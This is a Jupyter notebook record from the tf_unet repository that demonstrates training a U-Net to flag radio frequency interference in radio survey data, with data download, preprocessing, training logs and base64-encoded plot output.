IHvw1Fko1MWUcaY\nLOAUfJe7ALcYY5YYY/5pjGlQRiwllTcC9lhrC8LE7n+Ns32vU7+IBT41xiw0xox0yppZa7c4r9kC\nND3OuFo4y8Hlpe0j2GXA/wWse3G8GuDm5fEJfq+jhP+cXofvW1+RNsaYb40xnxtj+ge8V2X3X9Lv\nGByXV5/z8hyv/sA2a+2agLJoH6+NQDeKzw2x9Bkr81yYyInBhCmzEd2BMbWB94DbrbX7gOeBdsAv\ngS34LmdLi6Wi5aW9V5G+1tpTgWHAzcaYM0v7FSIYV5mMMenA+cC7TlEsHK9SQ45gHBXdR3EFY8bi\nu5/+hlO0BTjBWnsKcCfwpjGmboT3X9p7efn/Vp7f8XLcXz68OF7pwO8oPjdU9v3KKi9NhV+TyIlh\nI757fEVa4msQighjTBq+pPCGtfZ9AGvtNmvtMWttIfAS0KuMWEoq3wnUN8ZUCxO7/zXO9nr4LvNx\nYtjs/LsdX4NlL2CbMSbTeU0mvsbX44lro7McXE4p+wg0DFhkrd3mxOjV8doTFJeXxyf4vdICXoMx\n5mp899KvtM59AGvtEWvtLmd5Ib779x0jtP+Sfkd/XB5/zss6XtWA3+BriMaL4+WcG64BPis6N1Tm\n/cKURyrmkpV2nymef/Ddl8zF1whW1ODVNULvbYDXgWeCyjMDlu8A3nKWu+JulMvF1yBXYoz4vlUH\nNsrd5CzfjLtR7p2AfdYC6gQsf43vaZAncTdKPeEsj8DdKDXfKW+I7+mKBs7POqChs+0bp25Rw9dw\npzzsPoKOz1vAtV4fL0LbGDw7PkH7uBB34/NQ4HugSdBxbILT4IqvQXdThPZf0u/YHV/jc0Mv/9/C\n7KOfE1dq0DH73OPj9Ra+W18NY/Az5t9Hqee4qjoxx8IPvtb41fi+IYyN4Pv2w3cptoSAR/aAifge\nI1sCfBT0BzTWiWMVzlMEpcXofIDn43vE7F2gulOe4ayvdba3DXrNYudnedH74bs3OwPfY2wzAj5g\nBnjO2fdSoGfAe13n7GMt7pN5T2CZ85r/ofhRubD7CHhdTWAXUC+gzIvj9RG+WwtH8X2Tut7L4xOw\nj/1OTAUBca3Fd2/Y9ZglcJHz/7sYWAT8KgL7L+l33O/EFBiX15/zseHicra9CowK+uxF83htxHdu\nCPx/G16J94vkZyxkHyX9qOeziIi4JHIbg4iIHAclBhERcVFiEBERFyUGERFxUWIQEREXJQYREXFR\nYhARERclBhERcfl/Ti0ZT8NO43gAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "phase = np.unwrap(np.angle(x[1000000:3000000]).astype('float32'))\n", "plt.plot(scipy.signal.detrend(phase))" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python3", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.5" } }, "nbformat": 4, "nbformat_minor": 2 }

gpl-3.0

jakeret/tf_unet

demo/demo_radio_data.ipynb

1

307991

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Radio Frequency Interference mitigation using deep convolutional neural networks\n", "\n", "### This example demonstrates how tf_unet is trained on the 'Bleien Galactic Survey data'. \n", "\n", "To create the training data the SEEK package (https://github.com/cosmo-ethz/seek) has to be installed" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [], "source": [ "%matplotlib inline\n", "import matplotlib.pyplot as plt\n", "import matplotlib\n", "import numpy as np\n", "import glob\n", "plt.rcParams['image.cmap'] = 'gist_earth'" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## preparing training data\n", "only one day..." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [], "source": [ "!wget -q -r -nH -np --cut-dirs=2 https://people.phys.ethz.ch/~ipa/cosmo/bgs_example_data/" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [], "source": [ "!mkdir -p bgs_example_data/seek_cache" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "== Ivy run took: 57.897 s ===\n", "Traversing file system : 0.006s\n", "Generate gain files : 0.006s\n", "Initialize : 0.000s\n", "Load data : 14.805s\n", "Convert TOD : 0.048s\n", "Process coordinates : 0.412s\n", "Masking objects : 0.671s\n", "Masking artefacts : 0.002s\n", "Remove RFI : 9.661s\n", "postprocessing TOD : 0.045s\n", "remove background baseline : 0.524s\n", "Restructure TOD : 0.572s\n", "ParallelPluginCollection : 26.743s\n", "Create maps : 1.681s\n", "ParallelPluginCollection : 1.760s\n", "Write maps : 0.961s\n" ] } ], "source": [ "!seek --file-prefix='./bgs_example_data' --post-processing-prefix='bgs_example_data/seek_cache' --chi-1=20 --overwrite=True seek.config.process_survey_fft" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## setting up the unet" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [], "source": [ "from scripts.rfi_launcher import DataProvider\n", "from tf_unet import unet\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [], "source": [ "files = glob.glob('bgs_example_data/seek_cache/*')" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "2017-03-27 22:02:43,902 Layers 3, features 64, filter size 3x3, pool size: 2x2\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Number of files used: 1\n" ] } ], "source": [ "data_provider = DataProvider(600, files)\n", "\n", "net = unet.Unet(channels=data_provider.channels, \n", " n_class=data_provider.n_class, \n", " layers=3, \n", " features_root=64,\n", " cost_kwargs=dict(regularizer=0.001),\n", " )\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## training the network\n", "only one epoch. For good results many more are neccessary" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "2017-03-27 22:02:51,017 Removing '/Users/jakeret/workspace/tf_unet/demo/prediction'\n", "2017-03-27 22:02:51,020 Removing '/Users/jakeret/workspace/tf_unet/demo/unet_trained_bgs_example_data'\n", "2017-03-27 22:02:51,020 Allocating '/Users/jakeret/workspace/tf_unet/demo/prediction'\n", "2017-03-27 22:02:51,021 Allocating '/Users/jakeret/workspace/tf_unet/demo/unet_trained_bgs_example_data'\n", "2017-03-27 22:03:14,962 Verification error= 28.9%, loss= 1.3888\n", "2017-03-27 22:03:18,308 Start optimization\n", "2017-03-27 22:03:32,717 Iter 0, Minibatch Loss= 1.3615, Training Accuracy= 0.6953, Minibatch error= 30.5%\n", "2017-03-27 22:04:01,288 Iter 2, Minibatch Loss= 1.2693, Training Accuracy= 0.7771, Minibatch error= 22.3%\n", "2017-03-27 22:04:31,532 Iter 4, Minibatch Loss= 1.3672, Training Accuracy= 0.7034, Minibatch error= 29.7%\n", "2017-03-27 22:05:04,288 Iter 6, Minibatch Loss= 1.3466, Training Accuracy= 0.6975, Minibatch error= 30.2%\n", "2017-03-27 22:05:32,188 Iter 8, Minibatch Loss= 1.4544, Training Accuracy= 0.4141, Minibatch error= 58.6%\n", "2017-03-27 22:05:59,430 Iter 10, Minibatch Loss= 1.3441, Training Accuracy= 0.7096, Minibatch error= 29.0%\n", "2017-03-27 22:06:26,676 Iter 12, Minibatch Loss= 1.4336, Training Accuracy= 0.4851, Minibatch error= 51.5%\n", "2017-03-27 22:06:50,242 Iter 14, Minibatch Loss= 1.3753, Training Accuracy= 0.6694, Minibatch error= 33.1%\n", "2017-03-27 22:07:14,506 Iter 16, Minibatch Loss= 1.3482, Training Accuracy= 0.6844, Minibatch error= 31.6%\n", "2017-03-27 22:07:38,019 Iter 18, Minibatch Loss= 1.3576, Training Accuracy= 0.6860, Minibatch error= 31.4%\n", "2017-03-27 22:08:01,080 Iter 20, Minibatch Loss= 1.3729, Training Accuracy= 0.6580, Minibatch error= 34.2%\n", "2017-03-27 22:08:25,086 Iter 22, Minibatch Loss= 1.4297, Training Accuracy= 0.4594, Minibatch error= 54.1%\n", "2017-03-27 22:08:48,333 Iter 24, Minibatch Loss= 1.3713, Training Accuracy= 0.6706, Minibatch error= 32.9%\n", "2017-03-27 22:09:11,439 Iter 26, Minibatch Loss= 1.4268, Training Accuracy= 0.4592, Minibatch error= 54.1%\n", "2017-03-27 22:09:36,577 Iter 28, Minibatch Loss= 1.4321, Training Accuracy= 0.4537, Minibatch error= 54.6%\n", "2017-03-27 22:10:04,591 Iter 30, Minibatch Loss= 1.3770, Training Accuracy= 0.6122, Minibatch error= 38.8%\n", "2017-03-27 22:10:15,944 Epoch 0, Average loss: 1.3940, learning rate: 0.2000\n", "2017-03-27 22:10:43,766 Verification error= 28.9%, loss= 1.3246\n", "2017-03-27 22:10:47,279 Optimization Finished!\n" ] } ], "source": [ "\n", "trainer = unet.Trainer(net, optimizer=\"momentum\", opt_kwargs=dict(momentum=0.2))\n", "path = trainer.train(data_provider, \"./unet_trained_bgs_example_data\", \n", " training_iters=32, \n", " epochs=1, \n", " dropout=0.5, \n", " display_step=2)\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## running the prediction on the trained unet" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Number of files used: 1\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "2017-03-27 22:11:29,783 Model restored from file: ./unet_trained_bgs_example_data/model.ckpt\n" ] } ], "source": [ "data_provider = DataProvider(10000, files)\n", "x_test, y_test = data_provider(1)\n", "prediction = net.predict(path, x_test)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "jupyter": { "outputs_hidden": false } }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.image.AxesImage at 0x11ce4c940>" ] }, "execution_count": 11, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAsMAAAEACAYAAABWGHvFAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsvWnMZcl53/d7quosd323Xmd6Zpoz3MRlRMmULMqyIEBL\nJCeCYiiLDCQGssABDDmAIQQBksgfjCAf/DF2gnzJhwBBIkAy8sWWBUtyEiKRAMmmYJFaSInkDDlr\n93S/613OqeXJh6pz722Gao3EGTapuX+gu99+z7l16jxV555//etfT4mqsscee+yxxx577LHHHu9F\nmCddgT322GOPPfbYY4899nhS2JPhPfbYY4899thjjz3es9iT4T322GOPPfbYY4893rPYk+E99thj\njz322GOPPd6z2JPhPfbYY4899thjjz3es9iT4T322GOPPfbYY4893rN418iwiPy4iPyhiHxBRP7L\nd+s6e+yxxzeO/fO6xx7fPtg/r3vs8c5C3o08wyJigC8APwy8Bvw28DOq+ofv+MX22GOPbwj753WP\nPb59sH9e99jjnce7pQx/L/BHqvqyqnrgF4Cfepeutccee3xj2D+ve+zx7YP987rHHu8w3i0y/DTw\n1Z3/v1J+t8cee3zrYf+87rHHtw/2z+see7zD2C+g22OPPfbYY4899tjjPQv3LpX7KvDszv/vlN9t\nICLvvFl5jz2+zaGq8gQu+6c+r7B/ZvfY4+vhCTyz++d1jz3+nPiTntd3iwz/NvB+EXkOeB34GeBv\nfO1Jd/76f4VxMKzhk81fIA5Q0ATGCXmhnyBCPiCgSfLnE7kQI6Dlc6oYJ+U8EAPJg6kghXxMo2Jq\ngZQ/k1KpmMLZ5z7N8Xf9IMmTr2lAIxibf8aAhnKsXAPy/xWoRkLsNV/blvuo8kFxYGyuuxsL9XhF\n3ZwhJhD6Kd3qkP4KUg8p6vaeYr6vh5/5NIcv/mC+95iPbVDil0K+LimHRob6l3ip5mMIpD7HY4g5\nZvd6YOpcbFgpphGkhDv/MPxRUOH0c5/m6MUfRKMiRsCUmKQS2NJGQxlicxyHssTm+ruxEDvdxFXj\nzjlmG2tMuVeTy9cguYyhfUw5ZiB1cPrZT3P4sb8K5XnQlOupqps4GiekXnM5MtxkDq7G/HPyOZam\n2Z4rIpv22sTXPNqvh35EyrEQU84DvvJL/93XPiLfLLyt53WPJ4fY99i6fmKf/2Zd4+2U8c24l29x\nvO3n9VP/4D8h+AakIoQRRgJiPYY1xgWiHwOGEMYYu8a5NYJHrBL8GNWKlBzWrrDlmFIR/YiUasRE\njMmfS8mgVKTYkpLDmB4jPa5eEkONUhNDAwjWrXnlV3+Tuz/xcXw/BqmIocGYHueWiATEKL4fo9qg\najFmha06RD0qNdE3qLpSh/w5TYKKI8UK1OKqBbN2wQsTxRoIBP54AetuQkwGIWFspO8mqNbEMMaY\nNa/++m/y3I+/CAghtKTUoMli7brEIZC0IfqWpDUiOQ7W9WhSkArfTwDB2B6NQtUsSNGStCHFGkSx\ntsPQY6qe0I9zHWKDiMfVK4x2YAzRNyRqUqyxdsVr/+I3ePbHPlbi1pJSDaRcv2oFCWIaEUMLGIzd\naQtflzo0IAljegSPrfrcrprLNKbHug4jPRhK/Up/cKU/aCz1GxFjizGeV37tN7n71z5KCg6ViujH\nuf3sGiOeql7g+xGIJfgJoFi3xkiHcZ7Qj0na4Ls5rroqx9aIEYIfkVIDGER6rFtDiqhUhH6C4hCJ\nWLPGuBz3od8pls/8/D/4Ex+qd4UMq2oUkZ8F/jmZWv3PqvoHX3uebUHs15CNAFKBFLKlgDGgyA6h\nk0w2BjIV82cH0okCIpiq1GeHFInL1xQBnGAqyeQwgi0D6YE8ixUMhRSpgNVMGEVAFS1kRkwm2Lk+\n+RgOrMiGDKcI1g33m+8dBFMpxnYY22GtJ4YG63ps3SAoEvL1UgTjFJV8Tddmos/uYEIyuVMVnFMG\nvpoSmfBFzddPitkhlrGQVlPlOIjdcrcUMhkmgdVCNAdCmrbkVVNuLGN3YmzYnJ8JeSGghdiaQmrV\nDh2nXFvKoCXmfjCQ+eFayJaHiwiYTGgFSIWUilXS0OalnYxTjAXbyoboNxNDf6UYkW0cbfEPlX6i\nmsseCPXuNU2dAz8Qc5tymyOaYzkMLFQ2pJxY4iWa+1/UQrqfDN7u87rHu4t/+Vu/xSe/93ufdDX2\n+BbHn+V5vXzrOnGdaI8CSATT45cj/KXDtA4NifbAY4wn9Ymum9OdRuojQ+qVZt4BBr809BzTnSXa\nI0VTopmtCX2Lv2pY2znhKtIeJlSFql0R+jHrK4dUh8Qu0B6G/I4wPf16TL9ouDq7TeoCzUFAJJJ8\nYt0d0V8m6lkWlJp5hyaLX1n61Qn9WaI9UTQozWxB9CO6hWFtjwhXgdFxQFOibhd4P+Eijvl9v6B1\nnmkT8dGgCL47pLty2LYmrgPNtEckEn0mdxdvXMdNDdpH6lmHisGvHL1cpztL1AdATNSzNbFv8YsW\nNYeEZaA5yN//1WhF7MesH4IZTVHvaQ4SkDAS6fsJ/nKEHTtSH2lmOQ4aEp0/oD9PuKmFGGhmHkj4\nlSX0I86+ejPHISbqyTrHYTlC3RFxFagnCU3ktvBjwqJG6mvElac58JAM1vX4bkZ/kbDjGvWeetZj\nTCQFCP6Q/lyp5ts4AIRVRS8zujMYHUc0JqpRRwoNoXMszm7jLxPtcSQFoWrXRN+wvqqQ+oi4zv1B\nk2JMj19P8FctdlQRuxwHY3tSnwjdHH85oZpZ1EfqWU9KFXFd+uSDRHMMGoVmtiL6lvVVjcqMcBVp\nDrMqVbWrxz5X75YyjKr+CvChx51jWynEQmBQ/pod9XXD5vL/U1E2TZ2JlwaFgZwVMiFmq/ZBIcdu\nUBEVU2dybKzk85ygQZF2kHi3Kq4bCakHcbIl3TqQbCnn7ai+BUNdsFtibRzYuvzegatBTMJYj3Nr\nXLXG2I4qVqTY4NqaKCCVyV8gaUv0TSXYJpOrFId7znHTlIkeRjb8KvlBOZWiTOZjKRRyLFrIsGwV\nyxJ3qRRjisKOYhwbFVRjHrikLg8YYpdjVU1ko+hmBT5/VqR8rijSmop6r1kBzyp7prk5VpLrKFKU\n/kLWXb4H44b7K8Tb5S/PQl0zqa2y8i+OrBq7HDtSjp0CblQI6UD2hUKkt+R/wEbd7/O9mSq3LYPC\nO6jubGcBhn44KNpQYi8GqUB7yf34CeLtPK97vLuq5Hd94hMAjEYjVqvHf3G/XbyTZe3xrYO3+7y2\n0yvMUcJ3YzCWmMbYOtDcXJKixVjwfgxqEQvWrmmfWRB9C2Mh9BMQxY0Cogsmd6/o13PEgO9mGNvT\nzAOaeqYHa/puDiJ4n4+NT1ZoWmEOI76fIEaIaYR1Pc2koxldIBOyCo3FOMXJitH8itCPqEeC9xME\nqEaAXuU6rGZIbfD9DGM8zaxH05rJvCP4EVhL8FNsteBwtGBee46bxHlIWBwhVVi3YnatI4YaRoLv\npllpdoqxnvnt+4R+jIwoKq9SjTyqV4yfvaRbHiGt4rs5xvQ0M48mz+Rwie/mqDN4f4C1a8bXI7DE\nVYG+myHGkNRhq5725pIULDIV+n4KajBOcKwYPb3AdxOMTfh+tmkL43qO7t6jX8+QBnw/xZhMFNE1\n9eEV68UJVIIPM6zpGB+v0LRApppVVCMkGozrmG3qoPh+UtoCDCtGT+e2oKUouYJtPY5Lxs8s8N0U\nqXMdrO1xTaIZnzE+8PhuinEG72dYu2J8skbTEnOQCN0YjJC0xVY9zc0rkq+QKfTdjJQqrEs4s2Z8\ncInvxphxvs4QB9Ulk/dd0a3nIHbbH+ahtEVHv5ojLtF3s8c+K+8aGX47MJVsbAbYwjkK8YWtqjjU\n0rmB/BX7wUBCFGBLgAcrhdhCizQrbwYwRkiiG9JjHKjJ9gNBytS9Mn7mOcQoptkhMYNyaYp9YKeM\nzVS9FJW5Kb+TrKwOJA55lBRZ2yEm5KkKiYgJiCgiAVM78FtLghQCP737XJ5+d8V1kAohk41onePg\n2BDBQb3OxDbfqykWhhQ02zYsSLUlsko5n0Loq6K0ljYblPfBXmEcTJ59dqvgFjKZSbsgJsu8psqN\nlPw2HkaKel2IpDhBgm76yG58h3Ye5GtTsSGjmVwXH0Ysxwt3SQKTO8/l9iMr08YJKY+mstpcYmiK\nAo9ux2TDNQRQB+LKYGrHPqPlOAKx2E+I+dhWJS6DhJTjntz2XvbY4+r8/LGE++joiNPT02+4rB/9\nkR8B4Fd/7df+7JX8NsN7dVCwOh/hRvmFJU5AEmFtiWZO7BK2sYhN5TvR4FcNoW9IPmFqizERTYao\nFbGrCP2IFBVTm6wmB4umEWGlhGaSrYeVwZhA8o4+TImdYlsDKSEuf4mGrqa980G6qzGmtohEMIqq\nJaxdnq4PCXEWIxHFEkND6DIhSyFha4OxPk/HqyV2QggzRGN573hSrDnvAp1vuYpn1MYSNH/nBz/J\nf3qX35/lxafqGN95H+vldVJfxDciqCXGhrA2uQ59iYN4UrT4NCZ2EOIkC04GrPFEX5FCS/KRaixo\nSvldKonY16TQELuEaWy2HVjQZAl+lG0BXrOAQwQ1pFAzeup5Vpc30ZgwteR4R4tqrkPSttyXwZiY\nrRGpIvZgrAUCYg2imo/FNrdTkwlM5liW4GtiHJH63B+EgKojxZrYNQQ/Q2PMopAJpGCZPPc8/SIP\nVogRcUNfqfBaEVZ5ZltTRGwmeaGvSfGY2CmmKX2FREqG1Dek0GSeUplNHGKsiWshdKVPOouxgRTN\npk/6epz5GAbrwmOflSdKhlOvGwK3VTll4zcdbKa75FGHvwa1blDjAGP1keNSfKBZKdVip8j/RtVs\nc026sVzsSoCjW88RPagvpIdCMmMmMAN53vprt4rq4G8e/KUUNVSTbiwa6sBWgqolxYoUa0QNKdWk\nlD1PsWczna+q2VsLtLfuokFJSTbe1ERWUAfFdVCxsz841z/FfBPJZ8JfqpZJKRSv0zbmg893UMXj\nUrEjIaUc6xi3bTPEdnTj7sbrbPLsTim7hKIQWgaPriqpqPFSFGoRiGtIXvO1il0mrEsZTjMpLWp3\nKqQ5q736yOBFo6KpWGy85nbth8YUbJ2J9mAh2XiIS9ttfidAKrMIVa4fzXDvORbZh6ybwYhGiGvd\neLOzRaW0ZfldPnHrjd5jjz8NL3784/zfn/70N1zOr/zyLwO8J/y3Tz31FF/84hefdDW+6WimK2Jf\nYSpDDFWZjUxo8NTjSOxrTCWE0GBNwFYRDT11C963YEz2/8qaqvGkPlC1eZpeq6IGxTX12Bfi6Ihh\nhEHydGboqcc90VeYKr/rEDA2Mn/2BrZeEroWqQ0pVUCHqz2p91QthG4ElZCiw8iKqgmk3uMaRwwt\nIqYIUJ6qDZnsNUKKDSIG4zpEIodtT20rMGsEh6pgbUfyiWak+HWLqQzBNxjtOPzgLZJf4BpD9DXi\nDKoWYlY+tQ/Yus5eXTtMJ66p20D0inGOlEYksqeZ2FOPu6zGV5YUa8ymLXrqcST0DVIZYqow2mGr\ngPqeqhViaBBrcx3Uc/Shm6T1Ja612RdsiwIVPXXr0ZiwVZNjtKlDR9N6+lWDbSHFNvMmF1AfqEeB\n6BvEGVJqMHRYF1DvqVrJ9XNCUouJPa7On7ONzeq6yf7K2XM3sXZB6A22MtkDbUyuQ+ipx4HYO2xt\nCKHKHl/r0ei3cbCW0Dus8bgqoKGnaoRQ6qfJIslj60TqAlXrCOsGHbyXqaceRaIHU7kNv3ocnigZ\nHojXoAgPU8kbj+hGktv+blhspF/HZrmdfn/03Hxw588gLApfQ0p2jxViIzsELm6vOXx2w+sGHlnU\nSFtDWJVjQz0GFbwQ6BRhu7BRMnlVs63Ebt2LjUR2b6NYGTY/D6fHR6+3WVP8NURXivVhsC6YwdZR\nnm0ZFqHVgApn/6rn5AfqbQx2+5bA5OiM5fkRj9hWvqb9hnWOg4qqfE3dSlxT1O39DmRSHjl1AzPM\nIOy0nSbd2Fh267BbTgqKayNhZTOPTdvIC7vllV8OfS+wsWhs+m/xWm8WNA5+ZWHbh3bbgZ3Pp6/5\n3R577LHHO4BuMUF9xI1N/h4KMau8y0gMdbHKZSEi9SkvNloptnVlNi9/ScdeiTIiLHoqbFY+bSCl\nGu0EzCSTVLVkTSVkJXJliWGK+ogdGTAKMZK0Iq0iwTekAFWZHU5eidIQrwSrDg1ZzQaInlIHS4VD\nk8HYSEoV2se8mK3zmRAlyYJNaBEVHnbKtFKM86RkIRlibAnrBKEm+YQrr94UDRpq4kowdYUqWJPf\n1RqEpCPiqse2NYhgJaKpJvWGIBNS3+PGFk2CrTwpVfhVT4pTVD2VZM8yovn+V4kYRvl9JIAo0SuE\nhrgE2+Y6uFFuizTE4cpSSSbIzuR4q88KuqQOzQtaEPFErdEuEkNLWGXRiTITm2JDXAoxjtCo2bFX\nZnOTtsSFwWqVxTiTfYAxCIExadXhqMgzvkpKDu0t0TTEdUDHhaRLQlNFWifwLRq2C2pUEyE1pDXE\nOCb5hG1N7pNeSakhrhSnuU86k9dFqYeoLeGypxZHCgZxEdXsJ8bWpHXAtDZbHsU/9ll5omS4ORj8\nEOUXhSyYSrbkl606OmSVkB3LwECWBqvAQLDMjgdTdYd1y3bBkkieOpLdKW3dKoL522MoIyuAG9+v\nlMV+m+sMdgJFk6FqFoTxOGe8sAFVm0dG5OkRkYiIUtWX1O0Zk/YUI3AJoJKN/K5B1SAm5ZFXUSfF\nJFLMnUU3WRG2bGqzmG2TOWJnYSKDP3dQt3eyRAxEcbAsQLEegKs7vvLgf6U9+U+LV1u2zVZU7w/e\neIM/NCebzw2xGRYQSvl5aOc0ZAHZsNMdD7YrHX4g7XHLd8WxsVgYWywYQ9OlLeNPQXGNbNVmn60h\nKeUvXTFgG0t9qDvkPbd5Crsjj2zbACV1svFJm2aod7H72Ny3NpkvBq9ymb0Y7DKw46muQKM8yu73\n2GOPPd4BiEbcVAmdRSohpgZIVNP8znMjiKECaxCp0aTUs0Toi6DTZ1XP2IoUlOYgEr1DKiH0o2wl\nrCzJJ+ppIvQV4gwhtAiKa4UUItVECb1FaotGA5JwE4g+4UZFtRabX1JJqQ8Ssc/T9sFnpdAYh0al\nPQj4vsLWQvBjRPIUfvKRahpJwSEOYhxhTIepPYLQWs8iGlQdUStSAjdOhC7gWlPesbYIaol6lvAr\nxQ6qqDVY56BXmlnEd1mFDn2L2GyZiH2imSVCbxAnBN8ikqgmhthHqpGSogVnSTRoAjeG6GNeoxQq\ncBYlvyzqWSIU+0IMNWAQ5yAk2sNACNniEfwIRLMS6yPNLLK6MCVGLcYk3EiIXbZqpFhhDSRtICWq\nCcQ+4tocb+MEMRXE3B+izzaO6NscIluhQWmPAn5dl+s0eeahtEU9y33FVGVQQsSOJMdhkoi+ylkF\nkkU15j7Z5ThE71AxIDWikWamhD7zr+izCm0qi6yV9igRC7/JdQBTGzQlqtInTZXj8Dg8WWUYtjYD\n5RFyJSVHmRhQ2VnEFcCUbABE2dzB4McdshQM5DkPazO5jV3xlybZLqgarj3MxUuZyi7q6q56LCaT\nSoaMEYU8pshmKlxjrmce6ZU6a5ZaNZky0pZNKjA0S/6RkrkCIaWdZpFMZoesBgCqppDb/P/BmzwM\nEmLSTUx3y9lM1xfCJ0V6HQiqcbJdkFfkZ42ZX6ZYcecn/+OiuufzNt7uIqP+/hsfyerojgovDDaE\nrXI6LITMXtviHS5ZJIY0a8MAJwU2BHZQrvHbW9r0kUK2tdRl8HSrAqGUX1TYnBJPSF4xoxXoaJNa\nTSl9odhnjC2kOO1YG3SbecIYIYYy0o7bWYCNd7io5Cq66deh101fH8YwGzV/j/c8/jTbwuXl5Z+5\nzP/9F37hz1udPb6NkaJFe4NGKek2JS+ydg2aEqmz+buwU4zLXsUgIzQmQszvoZQUrSwahmNAtBtn\noboKjbH4iUGDQYySIiRbI8njO5e/e1flXZYEXEOKKb/vlGxBE0ueBm3RmPDRZfubV9Q6NEWU7AON\nvUHJNjStXFYbGb7LbclsZAkhDwDOy2LsGIs1MTk0OTQpoa8yVYgGUyyVkTb/6y0aIPYgjSOFRCAL\nXbGzm3fSEAfft2gfUW/KOhMBU+cYeZs5wxqkNSSvkJoc787m9/cqL65GI5E2x7Qf0jYpYmwui3Gu\nexxedIBz5TotmoTQ5RdMtvHVpBRIqcUQUSekkHLfsA0aIiq5naIKxprS5m1JB+qygKaCYEkhEUOL\nRiH0Fo1KQnI7xQjellneqvwLqjWaPLFvss0zDEKlEGnQFIk+K+Gxz+1lRInSoimSvMv8qlOksaQA\nSANKjq3J/TWZBqFDU5vvpzd/qt70xBfQbab4B/KmYHLfBTKB2i7iKgRZiuImuwvgthkitkSYR7JM\n2Dr7QhPD1FD5/FChgbiU1Fj5QFn4JaWuBiQbkjM5laJiFhK8mQ6XPG0ggEhAS9qLvDgusypjQqlb\nxIpmbikpL6IzeTEdWlanSSy2hpwbkdoiJmUfzJDaq9xJnsIf7l9JUTDFZ5sNuMUXW7ywWknJEiE5\n/Zuw8bXmUWAurj4yJXezYoZFY1IyPhhAJZNHHby7OcWZgW2as9J2mbMKxuiGjGc1Wjf9Iedjzm1r\ntdQ9gZjyQJocTySh1m4UWNnJqmGrtIlDJN+IGRbMWaiaK3w3Kj7hoc/Jo4Oh0ve0fCkPKeiMzYqx\n2bGWaEmFlwdGukkDKDtp6WxRunMKuZI27wlnk9jj7eG//4f/8ElXgc/8zu+87XOH+v4Hf/Nvft1j\n//nf+TvvWL2+lXF+dvakq/BEEK4ghYSbW2JXlFqv+LOEG0FYJeqjfGyweHUPE9VMCCulPjD5mM8D\n/O4tpT4yhE6pZkLqIJZp93iaqMr5bpoz+6Quz86FlZZjeUGaevBnih3ntSj1oZSZO4Uk9A8S1Vzw\nC6jmQuxzoiMQlvcjo9uGtAY3yZ+LXcyEaqXUR4IGgxlFUrL4lcNOKnxvcdUSJQ8ONFq685CV3xVU\nU8mDB5/Tw/Wnih3n65gm111iIiVhfT/RXLOEq1yH5Es2JYRwqoxvRdbnZOW9B/WZT4SF0hxDXAmu\n9sTe4lcJO4awgOZauY7m95A/S9ixIV4p9SGkZNEuIUZYv5lorwt+LVRTIa4hriVn7OhSVu/XUpRg\nQ7jymAr6S6U9Bsr6qeSF8LCotgtwU0FwpBjQZOgeJupDQ1hrzhQVbY43sDxVqiMIC6GaQuqFuMx1\n705zP7JlCj32uQ62MfRnUB1A6CSvnYqGcBmwIyFcKvXc5LVNgNTC6l6iPsz9oTmIxN4iKf/bnyWa\noxzbap4HGGkVqWbC+q1ENTfgFds8/ll5wmR4R0UcHAmFJEilGwVuQxREsXVRAinZIwa7g0peFWvL\n1LrZkSbJ3qKoFmMjqqbkLiYTSsgensFOYQRjUpmmz+XmeXbBmEHCK6RUQCShw+4Kkldh5mJi1npl\nMPYmRGRjkZBCfI0JNCWbgUjESCQ7OTQHBM3y6I7cKyYWkTJmAjqECEjYQngzETRFLcXk+km5z7ww\nUEnWlLzApWwpZRtTfFklP6QtRJQEVV75i6TNVL+wLcMU5dsMdSC305D4TEQxYsq1TB7NS1HHZVjV\nK6gYjKSsoBeiLCYVdq0lpoXcuhJ7KfYZk++F0gZi8qplHQYVRqibJV2xZgxp0MQmEiXtXylLjJKC\nZJtMuZYY8pd3Vcgw8ohNXYxs1enB9lO+0BU2WT7sZrHiHt/q+Ls/93PvWtn//t/4k/c5+ZnHHHsc\nHlffv/tzP8dv/MZv/LnK/XbDWw8ePOkqPBFI4/IKe58Vo9jlL3LbJLA1pvbErgz0e8XUjmrUoVJj\nXCCsi7BAAltRTdaoVogkwpLtd6StcKOcVQGUsCjff07B1tjGk3z+no+dIsZg64DYClNnUqOxfGdb\nixv5UgfNC6eLQCXOUc8DqhW28oRVVlis1ZyKq+3QlNMexZCoGnJGDJTGeVbFR6lFGLFVREyNqVLO\nShFz3l5xFjf